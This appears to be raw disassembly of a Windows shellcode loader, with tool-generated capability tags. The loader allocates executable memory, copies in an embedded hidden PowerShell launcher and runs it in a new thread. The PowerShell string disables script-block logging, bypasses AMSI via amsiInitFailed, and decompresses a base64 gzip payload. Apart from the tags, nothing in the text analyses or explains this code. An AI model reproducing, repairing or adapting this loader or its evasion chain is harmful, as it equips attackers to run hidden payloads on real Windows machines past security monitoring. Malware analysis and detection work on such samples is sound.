Function at 0x401460
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x38
call sym.___main
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x1198
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x4014bf
mov dword [esp], str.Could_not_allocate_shellcode_memory
call sym._printf
mov eax, 1
jmp 0x4015ea
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.Allocated_memory_at:_n__t_t_t_t_shellcode_address___0xp__n
call sym._printf
mov eax, dword [ebp - 0x1c]
mov ebx, str.powershell.exe__nop__w_hidden__noni__c__if__IntPtr_::Size__eq_4__bpowershell.exeelse_b_env:windir_syswow64WindowsPowerShell_v1.0powershell.exe__sNew_Object_System.Diagnostics.ProcessStartInfo__s.FileName_b__s.Arguments_noni__nop__w_hidden__c___v4F__Ena2leSc0ip3Bloc1Logging__fr_k_b_t__If__PSVersionTable.PSVersion.Major__ge_3___zEDy_Ref_.Assembly.GetType___15stem.0ana3ement.4utomation.2tils__fM_S_U_g_A_y_____f_9__Enabl1Sc0i4t5loc2In3ocationLogging__fr_e_k_v_p_B____oDFx_zEDy.GetField_cachedGroupPolicySettings_NonPublic_Static____ic39_Collections.Generic.Dictionary_string_System.Object__::new_____hKN9z__Scri1t20ockLogging__fl_p_B____cvm_Ref_.Assembly.GetType___53stem.1ana2ement.74t8mat98n.7ms96t90s__fl_M_g_y_u_S_U_A_o_i____if___cvm____cvm.GetField___amsiI3i20ail41__fF_d_t_n_e__NonPublic_Static_.SetValue__null__true_____If___oDFx____afTLZ_oDFx.GetValue__null___If__afTLZ__hKN9z____afTLZ__hKN9z___f_9_0___afTLZ__hKN9z___v4F_0____ic39.Add__v4F_0____ic39.Add__f_9_0____afTLZ_HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShell_hKN9z__ic39___Else___Ref_.Assembly.GetType___S5stem.4ana0ement.2utomation.Sc3i1tBlock__fg_p_A_r_M_y__.GetField_signatures_NonPublic_Static_.SetValue__null__New_Object_Collections.Generic.HashSet_string________scriptblock_::create__New_Object_System.IO.StreamReader_New_Object_System.IO.Compression.GzipStream__New_Object_System.IO.MemoryStream___System.Convert_::FromBase64String___H4sIAK5I42UCA7VWbW_aSBDXqn_waqQbOsI722TSJVubXAgwQRCeCqNvYCG9ZesNchbq___WYNDkQhd7mTuhJiX2ZmZ595ZsazyHcE5b4S3wtffnxg7IbbRxgT9Ey96e46mWVTPwwLi_1_XmGi7XyVdEmaLWqcg9Tf3pxYUZBQHyxXecuiUBhSLx7Rkmo6cpfymBBAnJyc_9AHKH1VDLfc5eM32O2E4tN7CyIcoJ1V541uYOlb7nuilGhqdqfrkpDjN1dYRZqGmduNQEC_nMqbqyi9dXngXr4im2tQJeMhnIjegfrmU6_khnpEWWHskNhEL7oYqvGX_moCIKPCTR2krWxlNhWk74A5y3YCEoZpVJtLZDr9U5vsLrNfEE9kmv4ggR11SXBI3VImKtj32XklsymoNUVAfXnU12HsUeJFrGjxjLKv_FjNYimxS69ypph2og1RaBnoWgvn6mzd2Ika2iesTPLQ92GM9cAAB_SQxnKYUe4b1EQrtN9IxSU4IOK21eUgT5a9KIavYcD1WPIhhmbkLIqJPnyGH4DjFz43se12VU12pOYKNSZ9Td7pXf2GAzLp4JmXeZnOVzKhPqrGPPeqkhNWORYXMGEkQyaViLXBPU3cHxK2SRuZYSKAlOV6p1TwqnnWNiDKXBMiByIbgFQRdfnMNnaa2vBt4gF42zWwNTODNCGp9C414vR2uQYh1WQ4DLNKO4I1dbJKl2BG3KyC_JDujlAkeDJV97aERPUwaFIzU31l2jubjW5H4ogciCqgMBdd2UcipkEJKvUqUuMuEvn6e3qUThMzBikD1h6hHDAjoShKyRXAnB2yws91yWi4a2Y1UAoqRsWw3OoErssSdiF51RVjzuaJsOWRKYFJEDNyHaXcZFVunTQEARkiDz2f_z4XX1kc6YAdnFRksTbGLEQmZAhg6vsSTpDqIEkEAAGFbAPQOH5LSyrTTap_wNbSMYo4bPbPdqSYuNDfxsPWqX9zrq4d6npYb3HbMsH1pnSG6mWcsxZy3CuXnHdBrtOvCLON6h1aMCoLxyjcyXlxPkfuTbNrLDoLhxXaNa_ZaoRGEezZTtX4sSmFQNVKpT4soHK5clMuLAG9Eegtkdvy6OapCXNH2jBAr9BgtSvz9n5QssYDVs9XrMVswMPu6aiazfPXVy1Y4QM7pbteFi15Xd1xzMqPsfm5UlqiFkrWZfDrkRGgdr6P5ytuzpFZLc1NhP4glIw7PcvodCwD9S4f1tXz_Dx_PhjihTHolh4NbxdwNra1Dt2vlBpuOSJnzUHtP1obRlrwxoPMWqOYyufL47CEl4aHBkArDVeo1vFaGW1Gejf9Uoc9VlrL9upV6dcfFLaH_9BIGc9KgvyqVpJjrb1GSx_ghs_xEMy3armNg3CBGQQZqnSaaxYPrF3VbXMqNTQtaeBLEviEQceDnphyFDHGHVn2k_oMLWfbCGRf6jUSp47NdOVZUN_3g3Tr4mIMXgLvJSVzTeLPxSJbeCoXClDFC2FSsLv97_N5KtYS4xlZR1AaFLbLLEN5uhM2bTfjxb2ewF152213oIO7l5CmYC6tU1eCaDBOTuEL3nXMxUOsQPQivDwiez2CUdA_4SslYyQXfCwq2ZnBq14e9lzq4ILeDP_Tfm7Pf4fRdbCpkJT6vNl9uHBTv3wjAAFMBkl2opYxs2_txHHbJchDiJDyQC7PdkN9N5E4acGXVFLQ_wYgzp1KcwsAAA00__f_8_0______System.IO.Compression.CompressionMode_::Decompress___.ReadToEnd______s.UseShellExec
mov edx, 0x1198
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [esp], 0xa
call sym._Sleep_4
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x40156f
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.OOPS__Failed_to_create_thread__n_t_t_t_error__d_n
call sym._printf
mov eax, 1
jmp 0x4015ea
mov dword [esp], str.__WAITING_FOR_SHELLCODE_TO_FINISH_EXECUTION___n_t_t_t3NCRYPT3DC0DER_SKILLED_TECHIES_COMPUTER_CLUB_n_t_t_tDISCLAIMER__hackers_gona_hack__
call sym._printf
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
test eax, eax
jne 0x4015a1
mov dword [esp], str.____________________________thread_failed_to_execute_______________________
call sym._printf
mov dword [esp], str.__SUCCESS_shellcode_execution_complete__n_t_t_tCleaning_up...
call sym._printf
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._VirtualFree_12
sub esp, 0xc
mov dword [esp], str.Execution_complete_100_100_n_Cleaning_up_complete_100_100__n_t_t_Exiting_program..
call sym._printf
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret